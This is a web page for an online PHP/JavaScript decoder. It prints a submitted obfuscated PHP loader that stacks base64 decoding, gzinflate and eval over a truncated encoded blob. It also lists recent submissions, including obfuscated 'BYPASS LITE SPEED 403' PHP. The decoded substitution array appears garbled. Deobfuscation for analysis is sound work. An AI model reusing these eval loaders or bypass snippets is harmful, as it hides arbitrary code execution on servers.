Online PHP Javascript Script Decoder

Online PHP and Javascript Decoder decode hidden script to uncover its real functionality

Original code:

<?php
$SISTEMIT_COM_ENC = "FJy5qqxQGkbzhn6JpjMD5ynowHmeyzFpUFBwosrE4b36gUQwUAwMjERoT3Lh3DqH0u3+v2+tKqv++Y9/e4r3EQzl81/OMv4rmNz//vO/f4nqiP9+gyNV6XS0hPotDR4f27nXpAwna0PaBycTVFM2iU6GCoGhIqYXdoFunHax7vAGn4eEl+7zjUDQuMHobGG761YwySY6pwHewkEQbPOnd+vBzsJt9vEmJi5f/WY4KA1tu32+YypkzR1MPV4PB3mwQ2Ko1TfpgCxPwevrtZy8CleNn7VHNfXBOx5g6rsTVlmNOp1k44fVJyItHozwHXMuYIiPwjIq7HPdp4KCyoplvAOWLRr1X5LQjNEyWkJoqqMh2SENx/5gFD0c/vemvzgVkGhgODJqlNgwWMgnKvYpqlptkWGpq0foogN3r6xJznfPWaGv8pEbv+QwTZObL8R9koDvaEboaftXHM9BKrr3zStpFApVqNbFucpt/wyOgvDgJZsYfT18mYhj1WNAnJ";$rand=base64_decode("Skc1aGRpQTlJR2Q2YVc1bWJHRjBaU2hpWVhObE5qUmZaR1ZqYjJSbEtDUlRTVk5VUlUxSlZGOURUMDFmUlU1REtTazdEUW9KQ1Fra2MzUnlJRDBnV3lmMUp5d242eWNzSitNbkxDZjdKeXduNFNjc0ovRW5MQ2ZtSnl3bjdTY3NKLzBuTENmcUp5d250U2RkT3cwS0NRa0pKSEp3YkdNZ1BWc25ZU2NzSjJrbkxDZDFKeXduWlNjc0oyOG5MQ2RrSnl3bmN5Y3NKMmduTENkMkp5d25kQ2NzSnlBblhUc05DZ2tKSUNBZ0lDUnVZWFlnUFNCemRISmZjbVZ3YkdGalpTZ2tjM1J5TENSeWNHeGpMQ1J1WVhZcE93MEtDUWtKWlhaaGJDZ2tibUYyS1RzPQ==");eval(base64_decode($rand));$STOP="Gkbzhn6JpjMD5ynowHmeyzFpUFBwosrE4b36gUQwUAwMjERoT3Lh3DqH0u3+v2+tKqv++Y9/e4r3EQzl81/OMv4rmNz//vO/f4nqiP9+gyNV6XS0hPotDR4f27nXpAwna0PaBycTVFM2iU6GCoGhIqYXdoFunHax7vAGn4eEl+7zjUDQuMHobGG761YwySY6pwHewkEQ";
?>

Decrypted code:

$nav = gzinflate(base64_decode($SISTEMIT_COM_ENC));
			$str = ['','','','','','','','','','',''];
			$rplc =['a','i','u','e','o','d','s','h','v','t',' '];
		    $nav = str_replace($str,$rplc,$nav);
			eval($nav);

Recent submissions:

{ "\u0066\u006f\u0072\u006d\u0061\u0074\u005f\u0076\u0065\u0072\u0073\u0069\u006f\u00... // ==UserScript== // @name AR Captcha // @namespace http://tampermonkey.net/ ... { "\u0066\u006f\u0072\u006d\u0061\u0074\u005f\u0076\u0065\u0072\u0073\u0069\u006f\u00... { "\u0066\u006f\u0072\u006d\u0061\u0074\u005f\u0076\u0065\u0072\u0073\u0069\u006f\u00... <?php // BYPASS LITE SPEED 403 $obfuscate = "654a784e335674504b3975364c75612f4249565274... \u041d\u0430\u0437\u043e\u0432\u0438\u0442\u0435\u0020\u0433\u043e\u0434\u0020\u0435\u... \u041a\u0430\u043a\u0020\u043d\u0430\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f\u... "\137". "\103" ."\117\117" ."\113\111\105"... \u0413\u0434\u0435\u0020\u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f\u0020\u... <?php // BYPASS LITE SPEED 403 $obfuscate = "654a784e335674504b3975364c75612f4249565274...